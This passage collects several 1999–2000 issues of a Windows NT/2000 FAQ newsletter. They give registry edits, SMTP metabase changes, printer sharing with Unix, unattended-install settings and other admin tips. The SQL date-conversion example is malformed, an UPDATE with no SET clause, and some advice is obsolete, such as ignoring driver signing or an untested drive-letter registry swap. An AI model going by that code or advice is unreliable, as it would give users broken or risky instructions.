Move to HKEY_CLASSES_ROOT\news\DefaultIcon
Double click (Default) and change to "%SystemDrive%\Program Files\Outlook Express\msimn.exe,-3" (don't type the quotes)
Move to HKEY_CLASSES_ROOT\news\shell\open\command
Double click (Default) and change to
"%SystemDrive%\Program Files\Outlook Express\msimn.exe" /newsurl:%1 (do type the quotes)
Move to HKEY_CLASSES_ROOT\snews\DefaultIcon
Double click (Default) and change to "%SystemDrive%\Program Files\Outlook Express\msimn.exe,-3" (don't type the quotes)
Move to HKEY_CLASSES_ROOT\snews\shell\open\command
Double click (Default) and change to
"%SystemDrive%\Program Files\Outlook Express\msimn.exe" /newsurl:%1 (do type the quotes)
Move to HKEY_CLASSES_ROOT\nntp\DefaultIcon
Double click (Default) and change to "%SystemDrive%\Program Files\Outlook Express\msimn.exe,-3" (don't type the quotes)
Move to HKEY_CLASSES_ROOT\nntp\shell\open\command
Double click (Default) and change to
"%SystemDrive%\Program Files\Outlook Express\msimn.exe" /newsurl:%1 (do type the quotes)
Close the registry editor
Reboot the machine

--------------------------------------------------------------------------------

Q. Users are unable to logon to my Small Business Server even though I have enough licenses.

A. A known problem exists on small business server where more than 10 licenses are installed and the 6th person attempting to logon will fail and an event written to the Application event log:

Event 201: No license was available for user <user name> using product SMBServer 4.0.

To fix the problem perform the following:

1, Check the number of installed licenses (Start - Manage Server - About Microsoft BackOffice Small Business Server)
2, Start the registry editor (regedit.exe)
3, Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LicenseInfo\FilePrint
4, From the Edit menu select New - DWORD value
5, Enter a name of ConcurrentLimit and press Enter
Double click the new value and set to the number ascertained in step 1 (in decimal mode). Click OK
6, Stop and Start the License Logging Service using the Services control panel applet.

--------------------------------------------------------------------------------

Q. How to stop the NT4 Option Pack/Windows 2000 SMTP service from advertising 8bitmime?

A. Start a telnet session with the SMTP service (port 25) and enter "EHLO server-name". Note the presence of the keyword "8bitmime".

To disable the advertising of 8bitmime perform the following:

1, Stop the SMTP service (use the Internet Information Services MMC snap-in, select SMTP Service, right click and select Stop)
2, Make a copy of the file %systemroot%\System32\Inetsrv\metabase.bin file
C:\> copy %systemroot%\System32\Inetsrv\metabase.bin %systemroot%\System32\Inetsrv\metabase.backup
3, Start a command window (cmd.exe)
4, Insert the option pack 4 CD or the Windows 2000 installation CD (depending on what you are running)
5, Change directory to the I386 area on the option pack 4 CD or if 2000 extract the mdutil.ex_ file from the I386 directory to a temp area
C:\> expand mdutil.ex_ c:\temp\mdutil.exe
6, Type the following command (after moving to the temp area if Windows 2000)
C:\> mdutil SET -path:smtpsvc -prop:36865 -utype:UT_SERVER -dtype:DWORD -attrib:INHERIT -value:0
7, The following will be displayed:
36865 : [IS] (DWORD) 0x0={0}
You're adding (or changing) a property's value. The property's ID number is 36865, and you are setting the value to 0.
8, Use the IIS MMC to start the SMTP service.

If you now telnet to the SMTP service you will notice the 8bitmime is no longer advertised.

To reverse the process, repeat steps 1 through 4, reenter the data in step 5, but this time, change the "-value:0" to "-value:1".

--------------------------------------------------------------------------------

Q. How can I modify the My Computer text to show logged on username and machine name?

A. It may be useful to have the My Computer icon to show the current logged on user and computer name and this can be configured as follows:

1, Start the registry editor (regedt32.exe)
2, Move to HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
3, Select the <No Name> value and Delete
4, From the Edit menu select 'Add Value'
5, Leave the value name blank and set the type to REG_EXPAND_SZ
6, Click OK and enter the text
User: %USERNAME% on: %COMPUTERNAME%
Click OK
7, Click on the desktop and press F5 (for refresh) and the change takes effect

Without changing the value type to REG_EXPAND_SZ the %username% and %computername% does not get expanded to the actual user name and computer name.

This tip works on both NT 4.0 and Windows 2000.

---------------------------------------------------------------------------

Q. How do I install a digital signature in Outlook?

A. A Digital ID, also known as a digital certificate, is the electronic equivalent to a passport or membership card. It is a credential, issued by a trusted authority, that you can present electronically to prove your identity or your right to access information. There are a number of authorities who can grant these certificates, VeriSign is the Microsoft preferred certificate provider.

To request a digital certificate perform the following:

1, Start Microsoft Outlook
2, Choose "Options..." from the Tools menu.
3, Select the "Security" tab.
4, Click on the "Get a Digital ID..." button at the bottom of the security options window.
5, From the Microsoft web page that is displayed, click on VeriSign's "Enrol Now" icon.
6, Fill out the enrolment form with your identifying and billing information.

You will receive an email from VeriSign to corroborate your email address. Follow the instructions in this email to download and install your Digital ID on your computer's hard drive

You can now configure Outlook via the Tools - Options - Security to attach a digital signature to every outgoing message or it can be manually added to messages individually. More information on this can be found at http://www.verisign.com/securemail/outlook98/outlook.html.

If you have multiple machines with Outlook you can install your digital certificate on them by exporting the digital certificate and then importing on the others as follows:

On the machine with the certificate installed perform the following:

1, Start Outlook
2, From the Tools menu select Options
3, Select the Security tab
4, Click the 'Import/Export Digital ID..' button
5, Select the 'Export your digital ID to a file'
6, Under Digital ID click Select and choose your certificate
7, Select an area to save to and enter a password
8, Click OK

On the other machines copy the digital ID file created and perform the following:

1, Start Outlook
2, From the Tools menu select Options
3, Select the Security tab
4, Click the 'Import/Export Digital ID..' button
5, Select the 'Import existing digital ID from a file'
6, Select the file the digital ID was saved to
7, Enter the password for the ID
8, Enter the Digital ID name, e.g. John Savill
9, Click OK

--------------------------------------------------------------------------------

Q. How do I enable live scrolling on Word 97?

A. In Office 2000, in particular Word 2000, when you move through a Word document using the scroll bar the page update happens dynamically. Under Word 97 the update does not occur until you release the mouse button. Live scrolling can be enabled under Word 97 as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options
3, From the Edit menu select New - String Value
4, Enter a name of LiveScrolling and press Enter
5, Double click the new value and set to 1. Click OK
6, Restart Word and the screen will update as you move the scroll bar and not just when its released.

--------------------------------------------------------------------------------

Q. A useful tip for navigating in Explorer and the Registry Editor.

A. Not really a question, but something handy I picked up.

If you start Explorer (or anything that has an Explorer interface including RegEdit) and select a parent directory, pressing the '*' on the numeric keypad will expand every subfolder. Pressing the '-' key on the numeric keypad will then collapse it again.

--------------------------------------------------------------------------------

Q. Where is the Hardware Compatibility List for Windows 2000?

A. The HCL for Windows 2000 is supplied on the CD in both text and HTML Help format. It can also be found at ftp://ftp.microsoft.com/services/whql/win2000hcl.txt.

--------------------------------------------------------------------------------

Q. How can I use path names longer than 255 characters?

A. Windows NT has a maximum path size defined as MAX_PATH which is 255 characters. It is possible to use more characters by calling the wide (W) version of CreateFile and prefixing "\\?\" to the path. The "\\?\" tells the function to turn off path parsing. This lets you use paths that are nearly 32,000 Unicode characters long. You must use fully-qualified paths with this technique. This also works with UNC names.

The "\\?\" is ignored as part of the path.

For example, "\\?\D:\documents\faq.txt" is seen as "D:\documents\faq.txt".

--------------------------------------------------------------------------------

Till next week,

John


From: John Savill [john@savilltech.com] Sent: 06 September 1999 18:28 To: NTFAQ Mailing List Subject: NT FAQ, 6th September 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: New build 2114 of Windows 2000 available to core beta testers for Server and Professional. Its not RC2, only an Interim build but I've installed both server and workstation. New version of Service Pack 6 beta released to core testers. Looks good. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. Sharing printers between Unix and NT. Q. How can I add Open with Run Dialog to the context menu? Q. How do I enable remote registry editing for Windows 9x clients? Q. After installing SP4/SP5 on NT 4.0 daylight saving is automatically enabled. Q. How do I create a bootable CD-ROM containing ERD Commander/Professional? Q. How do I create a default association for files with no extension? ---------------------------------------------- Q. Sharing printers between Unix and NT. A. I have enclosed instructions for printing to Unix servers (almost the same as for network printers), and also how the NT machine can be used as a gateway for 2 way printing between windows (all versions) and Unix. The Unix use is AIX, although the others should be similar. Setting up NT for TCP/IP printing Login as a member of the Administrators Group Start Control Panel Double Click Network, and select the Services tab Click Add, and select "Microsoft TCP/IP printing" Click OK and then Close Click "No" to delay reboot TCP/IP Print server service must be set to start automatically (Start - Settings - Control Panel - Services - TCP/IP Print Server - Startup - Automatic) Reboot the system Adding a remote print queue Double Click "My Computer" Double click Printers, and select Add Printer Select "Printer is a local printer", and then continue Click Add Port, and select "LPR port" Click New Port and fill in the IP address of the printer (or name from local hosts table) in the top box, enter the remote queue name in the bottom box Click Next and then select the printer driver Click Next and select if you want to share it, and then click Finish To authorize prints from this NT machine, as root edit "/etc/hosts.lpd" Add the NT machine's IP address (or name if it has an entry in the Unix machine's hosts table) Sharing NT printers with unix machines It is necessary to add a registry key as for UNIX to successfully pass data to an NT server the data type must be set to RAW. Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LPDSVC\Parameters From the Edit menu select New - DWORD value Enter a name of SimulatePassThrough and press Enter Double click the new value and set to 1. Click OK The default value for SimulatePassThrough is 0, which informs LPD to assign data types according to the control commands. Close the registry editor Start – Settings – Printers Right click on printer to be shared Select properties Select shared tab Select shared Enter share name (this is what the unix machine will see it as) Select Security tab Select Permissions Ensure unix users have permissions to print, either by "everyone" or "network" having permission (Print is all that is required) Click OK Create a queue on the unix machine as normal, for a text only print queue on aix use: run "smit mkpq" Select "remote" Select "local filtering before sending to print server" In the names section, type against ASCII Set hostname to be hostname of the NT machine Set queue to be share name of queue on NT machine Set type of print spooler to be "BSD" Press enter to confirm Using an NT machine as a Windows - Unix print gateway Add any unix printers you wish to share to NT machine as shown above. Share them out as if they were normal print queues. Add them to all the clients you wish to print to them from Share out any clients you wish to print from on the unix machine(s) as normal Add these shared windows printers to the NT machine as normal. Share them out to the unix machine(s) as shown above Thanks to Chris Griffiths for this ------------------------------------ Q. How can I add Open with Run Dialog to the context menu? A. Download http://www.ntfaq.com/ntfaq/download/rundlg.zip and extract. Use rundlg.inf file to install it (you can uninstall it later from control panel). Right-click on any .exe, .bat, or .cmd file and you'll see "Open in Run Dialog" menu item. Click on it and you'll see Run Dialog with the selected file name. -------------------------------------------------------------------------------- Q. How do I enable remote registry editing for Windows 9x clients? A. Though Windows NT Workstation has remote registry editing installed already, Windows 95 and Windows 98 do not. The installation process is similar on both operating systems, though the source of the necessary drivers differs with each version. It is necessary to install a network service to enable remote registry editing. This service, REGSERV, is found in the following location: Windows 95: Windows 95 distribution CD, in the directory \tools\reskit\netadmin\remotreg Windows 98: Windows 98 distribution CD, in the directory \admin\nettools\remotreg In each operating system the installation is identical: 1, Open the Control Panel. 2, Start the Network applet 3, Click the Add button in the Configuration tab. 4, Select Service from the list, and click the Add button. 5, Click the Have Disk button, and provide the directory information as provided above. 6, Select Microsoft Remote Registry. 7, Install the Remote Registry service, and reboot the computer when prompted. -------------------------------------------------------------------------------- Q. After installing SP4/SP5 on NT 4.0 daylight saving is automatically enabled. A. Both service packs automatically enable daylight savings time (DST), regardless of the active time zone setting. If you live in an area that doesn't observe DST and you want to install these service packs, you need to manually clear the setting on the Time Zone tab of the Control Panel applet Date/Time. -------------------------------------------------------------------------------- Q. How do I create a bootable CD-ROM containing ERD Commander/Professional? A. ERD Commander is a fantastic tool by http://www.winternals.com which gives access to NT systems by booting off modified Windows NT setup disks which allows access to not only the file system but also the registry and many other items to enable you to recover an unbootable NT system. It also gives access to removable media allowing you to replace corrupted system files, something you otherwise can't do without a second NT installation on the machine. The professional version also allows you to change passwords from outside of NT! Its now possible to create a bootable CD-ROM containing ERD Commander which allows you to just insert the CD-ROM, reboot and you have an ERD Commander session. A full procedure can be downloaded here, BOOTABLEERD.doc, however below are the steps I used and have included some additional files to make it easier for you. 1, Install ERD Commander/Professional as usual which creates a number of startup disks based on the NT installation diskettes (3 for Commander, 4 for Professional) 2, Create a directory on a partition called ERD 3, Create a subdirectory i386 (e.g. c:\ERD\i386) 4, Copy the content of all disks to this i386 directory 5, Download and extract Service Pack 5 C:\> SP5I386 /X 6, Any files that are in the ERD\i386 directory that are also included with SP5 replace with the SP5 version (including files in the system32 directory EXCEPT Smss.exe which is core to ERD Commander). There are a lot of these but it will allow you to access NTFS 5.0 partitions and has a number of fixes. This step is not compulsory but recommended 7, Download files bootsec.bin and CDROM_w.40. Place them both in the ERD directory. 8, Copy the files - ntdetect.com - setupldr.bin - txtsetup.sif from the ERD\i386 directory to the ERD directory (but do NOT remove from the ERD\i386 directory) 9, Start your CD-ROM burning software (CDRWIN from http://www.goldenhawk.com is recommended) but whatever software you use it must support creating a bootable CD-ROM 10, Add the ERD directory to the CD image Remember options: - ISO9660 File system (no Joliet ) - No version numbers - BOOTABLE CD : emulation : none (custom) load sector count : 4 load segment (default) 07C0H - The boot sector image is the bootsec.bin you downloaded There is an example of creating a 2000 disk at http://www.ntfaq.com/ntfaq/install67.html which is basically the same as this (goto step 7) 11, Create your CD! You should now be able to boot off of it. I tried this last night and it worked great. If you have problems download the word document listed at the start, however I never had to edit setupldr.bin and if you use my boot sector image you won't need to do that part either. Note: If you create a bootable ERD Commander Professional CD (versions 1.06a or lower), the program continues to ask for disk 4 for the FTDISK, PASSWORD, & CHKDSK commands. This will be fixed in the next version -------------------------------------------- Q. How do I create a default association for files with no extension? A. Normal files with an extension can have a program associated however this is not the case with files that don't have an extension. If you double click on one and select an application and check the box to always use that application it is ignored and every time you select a file you have to choose the application. You can force this using the registry: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_CLASSES_ROOT 3, From the Edit menu select New - Key 4, Enter a name of '.' and press Enter (don't type the quotes) 5, Select the new '.' key 6, Double click the (Default) value 7, Change to the HKEY_CLASSES_ROOT used to open, e.g. NOTEPAD for the notepad.exe application NOTEPAD 8, Click OK If you now double click on a file with no extension it will open with the application selected. To check what an existing application used look at its entry under HKEY_CLASSES_ROOT, e.g. HKEY_CLASSES_ROOT\.doc uses Word.Document.8 so if you wanted this as your default editor you would change HKEY_CLASSES_ROOT\.\(Default) to Word.Document.8. -------------------------------------------------------------------------------- Till next week, take care. John


From: John Savill [john@savilltech.com]
Sent: 06 March 2000 19:52
To: NTFAQ Mailing List
Subject: ** NT/2000 FAQ, 6th March 2000 **

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

_____________________________________________________

Are "CyberSlackers" consuming your network bandwidth?

Are employees using the Internet for business ... or for
gambling, shopping, day-trading or viewing pornography?
Find out now! Try surfCONTROL *free* for 30-days.
http://www.surfcontrol.com/promo/NTFAQ36

_____________________________________________________

News:

Had a great holiday skiing last week hence why there was no mailing last week :-)

The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi

New additions last week:

Q. How can I get the Dial-Up Networking information in Windows 2000?
Q. How can I configure extra Plug and Play drivers for a Windows 2000 installation?
Q. Unsigned drivers are stopping my unattended installations.
Q. What are the directories I can have under $OEM$ for an unattended installation in Windows 2000?
Q. Where do I get updates for Windows 2000?
Q. How can I convert a SQL date/time to just date?
Q. What are the NetBIOS suffixes (16th character)?
Q. I can't access the information in memory.dmp as a normal user.
Q. How can I check/replace incompatible Windows 2000 printer drivers?
Q. How can one protect against password hackers that use sniffers like l0pht?
Q. How can one detect that users have cracked a password?
Q. Is BackOffice Server Windows 2000 compatible?
Q. I cannot delete a file named con or nul.
Q. How do I change the system disk on a Windows 2000 system?
Q. How do I set the DVD region in Windows 2000?

---------------------------------------------------------

Q. How can I get the Dial-Up Networking information in Windows 2000?

A. In Windows NT 4.0 if you select Properties for a live connection you got details such as connected speed, bytes in, bytes out, duration etc.

If you right click on the connection and select Status in Windows 2000 you get less information (although presented better). You can still get the old NT 4.0 connection information by running:

rasphone -s

This will start the Dial-Up Networking monitor and display NT 4.0 format connection information.

--------------------------------------------------------------------------------
Q. How can I configure extra Plug and Play drivers for a Windows 2000 installation?

A. If you are installing Windows 2000 over the network (including RIS) and have the I386 structure on disk its possible to add extra plug and play drivers that will be loaded as needed during installations.

1, Move to your I386 structure and create a subdirectory \$OEM$\$1
2, Under the $1 directory create a directory of no more than 8 characters of the company who make the driver, e.g. creative
3, Under that directory create a subdirectory for the type of hardware, e.g. video, sound etc. (again no more than 8 characters)
4, At this point you might have structure:
- d:\i386\$OEM$\$1\creative\video
- d:\i386\$OEM$\$1\creative\audio
5, Copy the drivers and the .INF files into the appropriate subfolder
6, Open you answer file (or your SIF file) and add the directories to the OEMPnPDriversPath under the [Unattended] section, e.g.
[Unattended]
OEMPnPDriversPath = "creative\video;creative\audio"
Use a semi-colon (;) to separate the entries

If any of the drivers are unsigned it will interrupt the unattended installation so also add the line
DriverSigningPolicy = Ignore
Under the OemPnPdriversPath line

You may if you wish just create a single directory under $OEM$\$1 such as pnpdriv and just copy everything into there as long as you have no file name clashes. If you do this the OEMPnPDriversPath would be just "pnpdriv". It would be recommended to keep them separated to help organization and also remember this structure will be copied locally to the system drive.

--------------------------------------------------------------------------------
Q. Unsigned drivers are stopping my unattended installations.

A. Windows 2000 uses a driver signing system and when a driver is signed its been tested and is known to work with Windows 2000. You should always use signed drivers where possible.

If a driver is not signed and you try and use as part of an unattended installation your installation will stop and you will prompted to continue to use it, this obviously defeats the purpose of unattended so its possible to configure the installation to ignore driver signing.

Open your unattended/sif file and goto the [Unattended] section and add the line:

DriverSigningPolicy = ignore

There are actually 3 values for DriverSigningPolicy, ignore, warn and block. They speak for themselves I think :-)

Please note that if you are using drivers that supercede those supplied with Windows 2000 and they are NOT signed the installation process will ignore them and instead used the built in signed versions.

--------------------------------------------------------------------------------
Q. What are the directories I can have under $OEM$ for an unattended installation in Windows 2000?

A. Its possible to configure extra files for an installation that might be specific to your organization or to the hardware in the machine. These are placed under the $OEM$ directory of the I386 structure and under $OEM$ you can have the following:

\$OEM$\textmode Hardware dependant files for use during the initial Windows 2000 install and text mode setup such as OEM HAL's, SCSI drivers etc.
\$OEM$\$$ Used to replace any core system files and must match the structure of the Winnt structure. For example to replace files in the winnt\system32 directory you would create \$OEM$\$$\system32
\$OEM$\$1 Files that you want to be copied to the drive where Windows 2000 is installed (%systemroot%)
\$OEM$\<drive letter> Same as $1 but allows you to set a specific drive letter, e.g. \$OEM$\C would copy everything under it (including subdirectories) to C

--------------------------------------------------------------------------------
Q. Where do I get updates for Windows 2000?

A. Normal service packs for FASTWIRE will be released but Microsoft are committed to provide more timely updates in the form of the Windows Update site which can be accessed from the Start Menu.

When selected Internet Explorer will be started and will connect to http://windowsupdate.microsoft.com/. Once there select the 'Products Updates' page. This then check the system and a list of fixes needed for your system will be displayed.

Select the Updates that are needed for your installation and click Download.

A summary of what will be downloaded is shown and click the 'Start Download' button to begin. Click Yes to the displayed agreement.

Depending on the downloaded fixes a reboot may be required and if needed a dialog will prompt you.

Also have a look at http://www.microsoft.com/windows2000/downloads/deployment/appcompat/default.asp which has an update to allow compatibility with a number of games/applications.

--------------------------------------------------------------------------------
Q. How can I convert a SQL date/time to just date?

A. The SQL date/time field stores a date and time but if you have a populated table and you want to convert a column so it lists data only run the following:

update <table>
where <column>=convert(datetime,convert(char(10),<column>,101))

For example

update faq
where created=convert(datetime,convert(char(10),created,101))

--------------------------------------------------------------------------------
Q. What are the NetBIOS suffixes (16th character)?

A. NetBIOS names are 16 characters long with the 16th character always being a special character identifying the type of name, for example a domain NetBIOS record with 1C as the 16th character is a domain controller (this is how they are located). The full list is as follows:

Name                Number(h)  Type  Usage
--------------------------------------------------------------------------
<computername>         00       U    Workstation Service
<computername>         01       U    Messenger Service
<\\--__MSBROWSE__>     01       G    Master Browser
<computername>         03       U    Messenger Service
<computername>         06       U    RAS Server Service
<computername>         1F       U    NetDDE Service
<computername>         20       U    File Server Service
<computername>         21       U    RAS Client Service
<computername>         22       U    Microsoft Exchange Interchange(MSMail
                                     Connector)
<computername>         23       U    Microsoft Exchange Store
<computername>         24       U    Microsoft Exchange Directory
<computername>         30       U    Modem Sharing Server Service
<computername>         31       U    Modem Sharing Client Service
<computername>         43       U    SMS Clients Remote Control
<computername>         44       U    SMS Administrators Remote Control
                                     Tool
<computername>         45       U    SMS Clients Remote Chat
<computername>         46       U    SMS Clients Remote Transfer
<computername>         4C       U    DEC Pathworks TCPIP service on
                                     Windows NT
<computername>         52       U    DEC Pathworks TCPIP service on
                                     Windows NT
<computername>         87       U    Microsoft Exchange MTA
<computername>         6A       U    Microsoft Exchange IMC
<computername>         BE       U    Network Monitor Agent
<computername>         BF       U    Network Monitor Application
<username>             03       U    Messenger Service
<domain>               00       G    Domain Name
<domain>               1B       U    Domain Master Browser
<domain>               1C       G    Domain Controllers
<domain>               1D       U    Master Browser
<domain>               1E       G    Browser Service Elections
<INet~Services>        1C       G    IIS
<IS~computer name>     00       U    IIS
Where the record is U only one IP address may be assigned, where G its a group and may have multiple IP addresses. M is a multihomed machine (a machine with more than one network card) and I is an Internet group.

--------------------------------------------------------------------------------
Q. I can't access the information in memory.dmp as a normal user.

A. As of Windows NT service pack 4 for Windows NT 4.0 and all versions of Windows 2000 memory.dmp is now created with an ACL of:

Administrators - Full Control
System - Full Control

Other users may not access the file. Pre-service pack 4 the file was created with the same permissions as the parent directory but the memory dump may have sensitive information so its access has now been restricted. If you wish to access the file logon as an Administrator.

--------------------------------------------------------------------------------
Q. How can I check/replace incompatible Windows 2000 printer drivers?

A. On the Windows 2000 CD is a folder \Printers\Fixprnsv which contains a utility fixprnsv.exe which can be used to either replace NT 4.0 printer drivers with the Windows 2000 equivalent, or replace NT 4.0 drivers that are known to have problems.

If ran with the /fix switch on an NT 4.0 machine Windows 2000 drivers will be installed allowing Windows 2000 clients to connect and use the print server. If ran on a Windows 2000 server then it will replace all non-NT 4 compatible printer drivers with compatible ones allowing NT 4 client access.

Running with the /diag switch just checks for incompatible drivers but does not replace any.

For full instructions see Knowledge Base article http://support.microsoft.com/support/kb/articles/Q247/1/96.ASP.

--------------------------------------------------------------------------------
Q. How can one protect against password hackers that use sniffers like l0pht?

A. Nowadays, NT administrators face a tough task in ensuring network security,  because of password sniffers such as l0pht, which can sniff an NT password easily. To solve this, one can use a network sniffer that can detect such password sniffers. The network sniffer could log a user running a password sniffer and also issue an alert. An example of such a network sniffer is LANguard: http://www.languard.com.

The user password never leaves the local machine with Win2000 using Kerberos security. It is never exposed to the network so it should not be able to be sniffed.

--------------------------------------------------------------------------------
Q. How can one detect that users have cracked a password?

A. To detect this, you would either have to review the security logs regularly or use a network sniffer to monitor users accessing shares in real time. A combination of the two would be the most prudent. Security logging can be switched on from the event viewer.

A network sniffer can be used to log IP's & Users accessing particular servers or shares. In real time an administrator would be able to see which users are accessing which shares. An example of such a sniffer is LANguard: http://www.languard.com or Sessionwall: http://www.sessionwall.com

--------------------------------------------------------------------------------
Q. Is BackOffice Server Windows 2000 compatible?

A. BackOffice Server and its components such as Exchange, SQL will work on Windows 2000 however specific service pack's/fixes are required for the products to enable full functionality.

A list of fixes needed are listed at http://www.microsoft.com/backofficeserver/prodinfo/win2000sps.htm.

--------------------------------------------------------------------------------
Q. I cannot delete a file named con or nul.

A. The syntax \\.\ does not work with a file named con or nul .

In fact, no Win32 tool may delete these files.

A solution is to use non-Win32 tools.

For instance, the Resource Kit contains POSIX utilities such as rm.exe, which allows to delete these files:

c:\NTReskit\posix\rm con

Note: the files may have been created with a tool such as notepad or more, using the streams notation. For instance, type "notepad con:foo" on an NTFS partition, or "more < any_file > nul:bar"

Thanks to Patrick Raffin for this

--------------------------------------------------------------------------------
Q. How do I change the system disk on a Windows 2000 system?

A. The following was mailed to me by Peter Smith and I felt it may be useful to many people.

"I wanted to upgrade the hard disk on one of my machines running Windows 2000. As before with NT4, I added the new disk as a second drive, booted from a minimum NT installation I keep on the disk for emergency purposes and, after partioning and formatting the new drive, used SCOPY to copy the contents of the old disk to the new drive, preserving security information.

Next, create an up-to-date RDISK from the Backup utility, shut down and remove the old drive, leaving the new, bigger one as the master. Boot from the NT CD and use the recover option to rewrite the boot sector. Then, the new disk is bootable as the BIOS correctly sees it as the C: drive, boot.ini sees it as the first partition on the first disk and the whole system comes up. But, and here's the rub, when you log on, shortly after the dialog box that says "Loading your personal settings", you get another that says
"Saving your settings" and you're logged off! After such dramatic success in getting the new disk bootable very quickly and easily, I spent ages redoing things and puzzling why the instant logoff. The February Technet was no help but, by connecting remotely and examining the registry, I found the following:

The trouble seems to be that the drive letter appears to NT as the one you used when both drives were in the machine (K: in my case) - not as the C: drive detected by the BIOS. However, the path to userinit.exe
is hard-coded as C:\winnt\system32\userinit.exe having copied everything including the registry from the true C: drive.

The way I got around it was to use regedt32 remotely to go to HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices and copy the hex GUID allocated to the \DosDevices\K: drive and paste into the value for the \DosDevices\C: drive - then delete the K: value and reboot. Hey, presto everything works!

Editors note: (well a note from me) I'm note sure of the possible problems of this, it seems safe but I have not tested.

--------------------------------------------------------------------------------
Q. How do I set the DVD region in Windows 2000?

A. Windows 2000 provides built in DVD support and will keep track of the DVD region but needs to be set initially as follows. After setting you are allowed to change it once more using the same method.

Start Device Manager (Right click on My Computer - Properties - Hardware tab - Device Manager)
Expand 'DVD/CD-ROM drives'
Right click on the DVD drive and select Properties
Select the 'Advanced Settings' tab
Select you region and click OK

Click OK to the confirmation
Click OK to all other dialogs
If you have other drivers for hardware/software that tracks region then these also need to be set.

--------------------------------------------------------------------------------

Till next week, take care.

John

=======================================================================
The NT Frequently Asked Questions List Created by John Savill
NT FAQ List delivery provided by ED-COM, http://www.ed-com.com
To unsubscribe from this list send a message to
mailto:nt-faq@ed-com.com with the word unsubscribe in the body
Problems with subscription? mailto:awoodrick@ed-com.com
=======================================================================


From: John Savill [john@savilltech.com] Sent: 07 December 1999 20:35 To: NTFAQ Mailing List Subject: NT FAQ, 7 December 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: A friend who runs a big web hosting company has an interesting vacancy which someone in England might be interested in: "A UK Market Leader in Web Hosting, Web Server Management and Application Develepment requires an experienced NT Admistrator. This pivital role involves the management and admistration of our NT services which are growing rapidly and currently support thousands of Web Sites and associated services, this is a great career opportunity in the one of the UK's formost Business to Business Internet companies" Contact tristan@corpex.com if you are intersted. Also join the World's First and Largest Free NT-Newsletter: http://lyris.sunbelt-software.com/scripts/lyris.pl?join=nt-list run by Stu Sjouwerman (another friend) :-) New additions last week: Q. How can I configure my system to be C2 compliant? Q. How can I host multiple web sites on a single IP address? Q. What order are environment variables processed during logon? Q. How can I add a printer from the command line? Q. How can I check DLL versions on my system? Q. How can I check my machines DirectX support? Q. How to I upgrade/downgrade to a multi-processor system in Windows 2000? Q. How can I check if I have SP6 or SP6a installed? Q. How can I perform a CHKDSK on an NTFS 5.0 partition from NT 4.0? Q. How can I allow non administrators to publish to a FrontPage web site? Q. Getting a Thinkpad OEM installed version of NT to occupy only one partition. Q. How can I modify the number of objects searched in Windows 2000? Q. I can't create an OU/child domain with the same name from a single parent, why? Q. How are objects named in the Active Directory? -------------------------------------------- Q. How can I configure my system to be C2 compliant? A. The National Computer Security Center (NCSC) is the United States government agency responsible for performing software product security evaluations. These evaluations are carried out against a set of requirements outlined in the NCSC publication Department of Defense Trusted Computer System Evaluation Criteria, which is commonly referred to as the Orange Book. Windows NT has been successfully evaluated by the NCSC at the C2 level as defined in the Orange Book however to confirm you system meets the criteria to be C2 compliant you should use the C2CONFIG.EXE utility supplied with the Windows NT/Windows 2000 resource kit. Double clicking on an open lock will result in the program offering to resolve the issue, for example disabling the OS/2 subsystem. -------------------------------------------------------------------------------- Q. How can I host multiple web sites on a single IP address? A. A single IIS server can host multiple web sites and normally each web site is tied to a IP address however if the machine only has one IP address it can still be configured to host multiple web sites by specifying a host header name for each web site as follows (you should first ensure you have multiple DNS entries all pointing to the IP address of the machine): Start the Internet Information Services MMC snap-in (Start - Programs - Administrative Tools - Internet Information Services) Expand the server Right click on the web site and select Properties Next to the IP address (ensuring the actual IP address is selected) click the Advanced button Select the IP address entry and click Edit Enter the DNS host entry for the web site and set the port to 80, e.g. www.ntfaq.com Click OK Click OK to the main dialog Repeat for all other web sites When the client connects the DNS name requested is passed in the header as the host name and that is what is mapped. If the Web site requested in the host header is stopped, the client receives the default Web site. Therefore, it is recommended that an ISP use the default Web site as the ISP home page, rather than for a customer site. Multiple sites on a single Professional installation is not supported. Also do not configure a header host name for the default web site as this may cause problems for other packages such as Proxy Server which expect the default web site to use port 80, IP address of "All Unassigned" and no host header name. -------------------------------------------------------------------------------- Q. What order are environment variables processed during logon? A. When a user logs on variables are processed in the following order: Dynamic variables such as operating system variables System variables defined in the System tool in Control Panel Variables defined in the Autoexec.bat file Environment variables defined in the System tool in Control panel for the current user If a variable is defined multiple times the last setting takes precedence. -------------------------------------------------------------------------------- Q. How can I add a printer from the command line? A. Microsoft have a utility which can add printers from the command line but its only available to OEM suppliers. Another option is by directly manipulating the printui.dll dynamic link library. rundll32 printui.dll,PrintUIEntry [options] For example to add a HP DeskJet 970Cxi on LPT1: on Windows 2000 use the following: D:\>rundll32 printui.dll,PrintUIEntry /if /b "HP DeskJet 970Cxi" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "HP DeskJet 970Cxi" Other options are: /a[file] binary file name /b[name] base printer name /c[name] unc machine name if the action is on a remote machine /dl delete local printer /dn delete network printer connection /dd delete printer driver /e display printing preferences /f[file] either inf file or output file /ga add per machine printer connections /ge enum per machine printer connections /gd delete per machine printer connections /h[arch] driver architecture one of the following, 